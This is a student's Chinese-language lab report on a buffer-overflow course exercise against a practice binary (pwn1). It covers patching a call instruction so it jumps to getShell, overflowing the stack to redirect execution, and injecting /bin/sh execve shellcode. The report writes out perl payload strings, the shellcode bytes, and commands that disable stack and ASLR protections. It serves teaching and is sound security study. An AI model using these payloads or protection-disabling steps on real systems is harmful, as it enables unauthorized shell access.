一、实验内容
修改机器指令
BOF改变指令流
函数调用与堆栈
注入ShellCode与防护措施
二、实验步骤
1.直接修改程序机器指令,改变程序执行流程
-
首先进入刘老师的gitee后找到第三个
-
下载后拷贝至kali中
-
输入
objdump -d pwn20175329 | more
进行反汇编
-
我们可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转,后面的数值d7ffffff是补码,表示-41=0x29。经过计算,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。然后我们下一步要做的事对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。只要我们修改可执行文件“d7ffffff”为,"804847d-80484ba"对应的补码就为c3ffffff。
-
用vim指令
vi pwn20175329
编辑该文件
发现文件指令为乱码,因为pwn为可执行文件所以需要将其转化为十六进制文件输入Esc
后输入:加入%!xxd
指令可显示如下
输入:wq保存闪盘退出 -
输入
/e8 d7
查找要修改的内容,然后分别输入rc
、r3
将d7改为c3,下图为改完后的结果
-
如图所示更改跳回地址后调用getshell函数
2.通过构造输入参数,造成BOF攻击,改变程序执行流
使用命令gdb pwn1
调试程序,参数r表示运行
若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错
使用info r
指令显示寄存器的值
使用perl
语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 是将字符串"11111111222222223333333344444444x7dx84x04x08x0a"重定向到文件input中。
xxd 文件名将文件内容以16进制形式呈现。
(cat 文件名file1;cat) |
可执行文件名file2
将file1
中的字符串通过管道传递给file2
,作为可执行文件file2
的输入
- 看到很多同学博客中在执行
exit
后再使用pwd
指令进行查找时发现产生段错误,这里我想应该是调用函数导致缓冲区溢出发生错误而无法再次显示路径
3.注入Shellcode并执行
shellcode就是一段机器指令(code)
-
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
-
所以这段机器指令被称为shellcode。
-
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
-
一般
Shellcode
指令需要用C语言编写后生成二进制后转化为十六进制,在此我们使用老师所给的x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
进行调用。
这个shellcode
的大概原理是:EAX
被赋值为0Xb
,ECX
入栈,/bin//sh
字符串入栈,并将其首地址赋给了EBX
,执行int 80h
,触发中断,调用sys_execve("/bin//sh", 0, 0, 0)
,通过/bin/sh
软链接打开一个shell
。 -
要让注入的
shellcode
执行其实需要有一定条件,我们这里为了简化,需要关掉一些防护措施
execstack -s pwn1 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
我下的KALI真可谓原生态里面什么都没有execstack
需要安装
Linux下有两种基本构造攻击buf的方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
因为retaddr
在缓冲区的位置是固定的,shellcode
要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode
放后边,缓冲区大就把shellcode
放前边
如果尝试nop + shellcode + retaddr
,我们最后会发现ret
之后push %ebx
的操作会把我们的shellcode
覆盖。所以我们这里还是采用retaddr + nop + shellcode
的方法。
由于之前我们已经算出要覆盖retaddr需要的字节数,所以我们可以直接构造
(perl -e 'print "A" x 32;print "x01x02x03x04x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80"';cat)|./pwn1
首先通过gdb调试找到foo函数返回值
通过ps -ef | grep pwn
查看缓冲区溢出位置
- 知道ret返回值后在此利用
gdb
设置断点进一步调试
由于实验中途中断过 所以进程数不同但原理相同gdb
通过attach
跟踪
- 通过
gdp
调试查找esp寄存器
- 修改
shellcode
指令进行调试 - 指令为
perl -e 'print "A" x 32;print "x80xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode root@kali:/home/kali/Desktop/20175329/exp1# (cat input_shellcode;cat) | ./pwn1
- 调试成功
三、实验感悟
说真的,我觉得对我这种三流计算机学生来说这种实验确实很难,不仅需要重新温习早就忘了的linux指令,还需要重新温习汇编语言中所学过的堆栈概念并能自行计算出所需要调用的参数返回地址,完成这类实验对于我来说花费了很大的精力,因为在家无人知道很多细节的原因也需要自己努力去探究,但是能独立把实验做出来我感觉很有满足感同时也感觉到成为黑客或者geek所需要学习的东西太多太多。
漏洞的理解
本次实验漏洞主要是通过缓冲区溢出发生错误通过修改shellcode
代码实现达到自己所想要跳转的代码指令从而黑入系统获得权限,本次实验原理从刚刚上大学就开始介绍过缓冲区溢出攻击,但是实际操作时发现有很多的问题需要总结需要注意,想要学好linux并且能利用我感觉还是挺难的。